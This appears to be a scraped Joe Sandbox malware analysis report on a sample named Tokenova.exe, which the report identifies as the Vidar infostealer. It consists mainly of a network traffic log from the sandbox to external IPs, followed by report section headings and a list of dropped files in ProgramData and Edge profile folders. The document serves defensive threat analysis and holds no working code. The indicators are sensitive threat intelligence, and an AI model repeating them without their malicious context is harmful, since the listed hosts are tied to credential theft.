Feb 26, 2025 01:49:23.477082014 CET	61507	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:23.477113962 CET	61507	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:23.477121115 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.477720976 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.477740049 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.477756977 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.477770090 CET	61507	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:23.477776051 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.477802992 CET	61507	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:23.478511095 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.478528976 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.478568077 CET	61507	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:23.478574038 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.478600025 CET	61507	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:23.479366064 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.479384899 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.479422092 CET	61507	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:23.479428053 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.479444981 CET	61507	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:23.479492903 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.479537964 CET	61507	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:23.479545116 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.522103071 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.522161961 CET	61507	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:23.522167921 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.522362947 CET	61507	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:23.559206009 CET	443	61506	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.559258938 CET	443	61506	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.559273005 CET	61506	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:23.559287071 CET	443	61506	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.559299946 CET	61506	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:23.559319973 CET	61506	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:23.559329033 CET	443	61506	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.559432030 CET	443	61506	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.559504032 CET	61506	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:23.559504032 CET	61506	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:23.559528112 CET	443	61506	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.559540987 CET	61506	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:23.559798956 CET	61506	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:23.564220905 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.564852953 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.564871073 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.564891100 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.564908981 CET	61507	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:23.564917088 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.564940929 CET	61507	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:23.565140963 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.565159082 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.565202951 CET	61507	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:23.565207958 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.565236092 CET	61507	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:23.565356016 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.565403938 CET	61507	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:23.565408945 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.565445900 CET	61507	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:23.565480947 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.565538883 CET	61507	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:23.565543890 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.565573931 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.565620899 CET	61507	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:23.565625906 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.565660954 CET	61507	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:23.565665007 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.566694021 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.566740990 CET	61507	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:23.566747904 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.566818953 CET	61507	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:23.566998959 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.567063093 CET	61507	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:23.567069054 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.568356991 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.568409920 CET	61507	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:23.568414927 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.568504095 CET	61507	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:23.568509102 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.568680048 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.568732023 CET	61507	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:23.568736076 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.568787098 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.568805933 CET	61507	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:23.568809986 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.568830967 CET	61507	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:23.568855047 CET	61507	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:23.568907022 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.569139004 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.569188118 CET	61507	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:23.571736097 CET	61507	443	192.168.2.5	204.79.197.203
Feb 26, 2025 01:49:23.571765900 CET	443	61507	204.79.197.203	192.168.2.5
Feb 26, 2025 01:49:23.625216961 CET	61524	443	192.168.2.5	20.189.173.9
Feb 26, 2025 01:49:23.625245094 CET	443	61524	20.189.173.9	192.168.2.5
Feb 26, 2025 01:49:23.625447989 CET	61524	443	192.168.2.5	20.189.173.9
Feb 26, 2025 01:49:23.625638008 CET	61524	443	192.168.2.5	20.189.173.9
Feb 26, 2025 01:49:23.625648022 CET	443	61524	20.189.173.9	192.168.2.5
Feb 26, 2025 01:49:23.638952017 CET	61510	443	192.168.2.5	204.79.197.219
Feb 26, 2025 01:49:23.639039993 CET	61512	443	192.168.2.5	204.79.197.219
Feb 26, 2025 01:49:23.778979063 CET	443	61516	20.189.173.9	192.168.2.5
Feb 26, 2025 01:49:23.807017088 CET	443	61517	20.189.173.9	192.168.2.5
Feb 26, 2025 01:49:23.838109970 CET	61516	443	192.168.2.5	20.189.173.9
Feb 26, 2025 01:49:23.838134050 CET	443	61516	20.189.173.9	192.168.2.5
Feb 26, 2025 01:49:23.838236094 CET	61517	443	192.168.2.5	20.189.173.9
Feb 26, 2025 01:49:23.838246107 CET	443	61517	20.189.173.9	192.168.2.5
Feb 26, 2025 01:49:23.838668108 CET	443	61516	20.189.173.9	192.168.2.5
Feb 26, 2025 01:49:23.838969946 CET	443	61517	20.189.173.9	192.168.2.5
Feb 26, 2025 01:49:23.842058897 CET	61516	443	192.168.2.5	20.189.173.9
Feb 26, 2025 01:49:23.842127085 CET	443	61516	20.189.173.9	192.168.2.5
Feb 26, 2025 01:49:23.842689991 CET	61517	443	192.168.2.5	20.189.173.9
Feb 26, 2025 01:49:23.842827082 CET	443	61517	20.189.173.9	192.168.2.5
Feb 26, 2025 01:49:23.847306013 CET	61525	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:23.847373009 CET	443	61525	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:23.847500086 CET	61525	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:23.848171949 CET	61516	443	192.168.2.5	20.189.173.9
Feb 26, 2025 01:49:23.848207951 CET	61516	443	192.168.2.5	20.189.173.9
Feb 26, 2025 01:49:23.848275900 CET	443	61516	20.189.173.9	192.168.2.5
Feb 26, 2025 01:49:23.848364115 CET	61517	443	192.168.2.5	20.189.173.9
Feb 26, 2025 01:49:23.848397970 CET	61517	443	192.168.2.5	20.189.173.9
Feb 26, 2025 01:49:23.848469973 CET	443	61517	20.189.173.9	192.168.2.5
Feb 26, 2025 01:49:23.848531008 CET	61517	443	192.168.2.5	20.189.173.9
Feb 26, 2025 01:49:23.848542929 CET	443	61517	20.189.173.9	192.168.2.5
Feb 26, 2025 01:49:23.853343010 CET	61525	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:23.853357077 CET	443	61525	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:24.003942013 CET	61529	443	192.168.2.5	20.189.173.9
Feb 26, 2025 01:49:24.003961086 CET	443	61529	20.189.173.9	192.168.2.5
Feb 26, 2025 01:49:24.004066944 CET	61529	443	192.168.2.5	20.189.173.9
Feb 26, 2025 01:49:24.004386902 CET	61529	443	192.168.2.5	20.189.173.9
Feb 26, 2025 01:49:24.004399061 CET	443	61529	20.189.173.9	192.168.2.5
Feb 26, 2025 01:49:24.008502007 CET	443	61522	20.110.205.119	192.168.2.5
Feb 26, 2025 01:49:24.008774996 CET	61522	443	192.168.2.5	20.110.205.119
Feb 26, 2025 01:49:24.008791924 CET	443	61522	20.110.205.119	192.168.2.5
Feb 26, 2025 01:49:24.009063959 CET	443	61522	20.110.205.119	192.168.2.5
Feb 26, 2025 01:49:24.009628057 CET	61522	443	192.168.2.5	20.110.205.119
Feb 26, 2025 01:49:24.009691954 CET	443	61522	20.110.205.119	192.168.2.5
Feb 26, 2025 01:49:24.009759903 CET	61522	443	192.168.2.5	20.110.205.119
Feb 26, 2025 01:49:24.055335045 CET	443	61522	20.110.205.119	192.168.2.5
Feb 26, 2025 01:49:24.063330889 CET	61522	443	192.168.2.5	20.110.205.119
Feb 26, 2025 01:49:24.090909958 CET	443	61516	20.189.173.9	192.168.2.5
Feb 26, 2025 01:49:24.090991974 CET	443	61516	20.189.173.9	192.168.2.5
Feb 26, 2025 01:49:24.091135025 CET	61516	443	192.168.2.5	20.189.173.9
Feb 26, 2025 01:49:24.091685057 CET	61516	443	192.168.2.5	20.189.173.9
Feb 26, 2025 01:49:24.091700077 CET	443	61516	20.189.173.9	192.168.2.5
Feb 26, 2025 01:49:24.091707945 CET	61516	443	192.168.2.5	20.189.173.9
Feb 26, 2025 01:49:24.091744900 CET	61516	443	192.168.2.5	20.189.173.9
Feb 26, 2025 01:49:24.113145113 CET	443	61517	20.189.173.9	192.168.2.5
Feb 26, 2025 01:49:24.113198042 CET	443	61517	20.189.173.9	192.168.2.5
Feb 26, 2025 01:49:24.113610029 CET	61517	443	192.168.2.5	20.189.173.9
Feb 26, 2025 01:49:24.113610029 CET	61517	443	192.168.2.5	20.189.173.9
Feb 26, 2025 01:49:24.113617897 CET	443	61517	20.189.173.9	192.168.2.5
Feb 26, 2025 01:49:24.113636971 CET	61517	443	192.168.2.5	20.189.173.9
Feb 26, 2025 01:49:24.113990068 CET	61517	443	192.168.2.5	20.189.173.9
Feb 26, 2025 01:49:24.183156013 CET	443	61522	20.110.205.119	192.168.2.5
Feb 26, 2025 01:49:24.183214903 CET	443	61522	20.110.205.119	192.168.2.5
Feb 26, 2025 01:49:24.183276892 CET	61522	443	192.168.2.5	20.110.205.119
Feb 26, 2025 01:49:24.190570116 CET	61522	443	192.168.2.5	20.110.205.119
Feb 26, 2025 01:49:24.190579891 CET	443	61522	20.110.205.119	192.168.2.5
Feb 26, 2025 01:49:24.411175013 CET	443	61524	20.189.173.9	192.168.2.5
Feb 26, 2025 01:49:24.411386967 CET	61524	443	192.168.2.5	20.189.173.9
Feb 26, 2025 01:49:24.411395073 CET	443	61524	20.189.173.9	192.168.2.5
Feb 26, 2025 01:49:24.412313938 CET	443	61524	20.189.173.9	192.168.2.5
Feb 26, 2025 01:49:24.412399054 CET	61524	443	192.168.2.5	20.189.173.9
Feb 26, 2025 01:49:24.412707090 CET	61524	443	192.168.2.5	20.189.173.9
Feb 26, 2025 01:49:24.412750959 CET	443	61524	20.189.173.9	192.168.2.5
Feb 26, 2025 01:49:24.412916899 CET	61524	443	192.168.2.5	20.189.173.9
Feb 26, 2025 01:49:24.412923098 CET	443	61524	20.189.173.9	192.168.2.5
Feb 26, 2025 01:49:24.412949085 CET	61524	443	192.168.2.5	20.189.173.9
Feb 26, 2025 01:49:24.412997007 CET	443	61524	20.189.173.9	192.168.2.5
Feb 26, 2025 01:49:24.467613935 CET	61524	443	192.168.2.5	20.189.173.9
Feb 26, 2025 01:49:24.498495102 CET	443	61525	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:24.498559952 CET	61525	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:24.499842882 CET	61525	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:24.499852896 CET	443	61525	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:24.502022982 CET	61525	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:24.502029896 CET	443	61525	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:24.502084970 CET	61525	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:24.502104998 CET	443	61525	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:24.654347897 CET	443	61524	20.189.173.9	192.168.2.5
Feb 26, 2025 01:49:24.654402971 CET	443	61524	20.189.173.9	192.168.2.5
Feb 26, 2025 01:49:24.654489040 CET	61524	443	192.168.2.5	20.189.173.9
Feb 26, 2025 01:49:24.657244921 CET	61525	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:24.657282114 CET	443	61525	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:24.657495975 CET	61525	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:24.657526016 CET	443	61525	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:24.657582045 CET	61525	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:24.657591105 CET	443	61525	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:24.661942959 CET	61524	443	192.168.2.5	20.189.173.9
Feb 26, 2025 01:49:24.661952019 CET	443	61524	20.189.173.9	192.168.2.5
Feb 26, 2025 01:49:24.664827108 CET	61525	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:24.664841890 CET	443	61525	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:24.664973021 CET	61525	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:24.664994001 CET	443	61525	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:24.665021896 CET	61525	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:24.665035009 CET	443	61525	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:24.665041924 CET	61525	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:24.665046930 CET	443	61525	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:24.780092001 CET	443	61529	20.189.173.9	192.168.2.5
Feb 26, 2025 01:49:24.781552076 CET	61529	443	192.168.2.5	20.189.173.9
Feb 26, 2025 01:49:24.781560898 CET	443	61529	20.189.173.9	192.168.2.5
Feb 26, 2025 01:49:24.783045053 CET	443	61529	20.189.173.9	192.168.2.5
Feb 26, 2025 01:49:24.783369064 CET	61529	443	192.168.2.5	20.189.173.9
Feb 26, 2025 01:49:24.783612013 CET	61529	443	192.168.2.5	20.189.173.9
Feb 26, 2025 01:49:24.783617973 CET	443	61529	20.189.173.9	192.168.2.5
Feb 26, 2025 01:49:24.783637047 CET	443	61529	20.189.173.9	192.168.2.5
Feb 26, 2025 01:49:24.783703089 CET	61529	443	192.168.2.5	20.189.173.9
Feb 26, 2025 01:49:24.783761024 CET	443	61529	20.189.173.9	192.168.2.5
Feb 26, 2025 01:49:24.806687117 CET	443	61505	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:24.806727886 CET	443	61505	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:24.806751966 CET	61505	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:24.806773901 CET	61505	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:24.808646917 CET	61505	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:24.808660984 CET	443	61505	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:24.953552961 CET	61529	443	192.168.2.5	20.189.173.9
Feb 26, 2025 01:49:25.018910885 CET	443	61529	20.189.173.9	192.168.2.5
Feb 26, 2025 01:49:25.019022942 CET	443	61529	20.189.173.9	192.168.2.5
Feb 26, 2025 01:49:25.019443035 CET	61529	443	192.168.2.5	20.189.173.9
Feb 26, 2025 01:49:25.019458055 CET	443	61529	20.189.173.9	192.168.2.5
Feb 26, 2025 01:49:25.019475937 CET	61529	443	192.168.2.5	20.189.173.9
Feb 26, 2025 01:49:25.019511938 CET	61529	443	192.168.2.5	20.189.173.9
Feb 26, 2025 01:49:25.773447990 CET	61552	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:25.773464918 CET	443	61552	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:25.773691893 CET	61552	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:25.773900986 CET	61552	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:25.773911953 CET	443	61552	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:25.869894028 CET	443	61525	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:25.869949102 CET	443	61525	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:25.869981050 CET	61525	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:25.870012045 CET	61525	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:25.883126974 CET	61525	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:25.883150101 CET	443	61525	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:26.437827

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Tokenova.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\89r1v\2d2vas

C:\ProgramData\89r1v\3wtr1v

C:\ProgramData\89r1v\asr90rq1d

C:\ProgramData\89r1v\bimg4e

C:\ProgramData\89r1v\ct00zu

C:\ProgramData\89r1v\f3oppz

C:\ProgramData\89r1v\h4wb1d

C:\ProgramData\89r1v\jw4w4o

C:\ProgramData\89r1v\v3w4euaie

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\02cccc50-23d9-4fe3-a4e4-f35e66f7a4b4.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\15765834-a811-4e86-91b5-a7919a4d2670.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\1f986a7b-8bc0-4b14-85b0-01ce5bed7d31.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\425aa34a-06f0-44bb-a3dd-f07b5e409d2b.tmp

Windows Analysis Report
Tokenova.exe